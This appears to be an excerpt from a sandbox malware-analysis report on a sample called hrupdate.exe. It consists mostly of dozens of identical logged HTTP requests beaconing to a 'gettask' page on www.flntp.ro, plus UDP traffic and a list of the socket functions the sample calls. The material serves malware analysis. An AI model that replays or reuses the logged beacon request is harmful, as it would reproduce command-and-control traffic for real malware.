Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_00B01CA0 _invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,memcpy,memchr,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,socket,inet_addr,inet_addr,gethostbyname,inet_addr,gethostbyaddr,htons,connect,closesocket,send,memset,recv,realloc,memcpy,memset,recv,strstr,strstr,memcpy,strncpy,closesocket,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00B01CA0

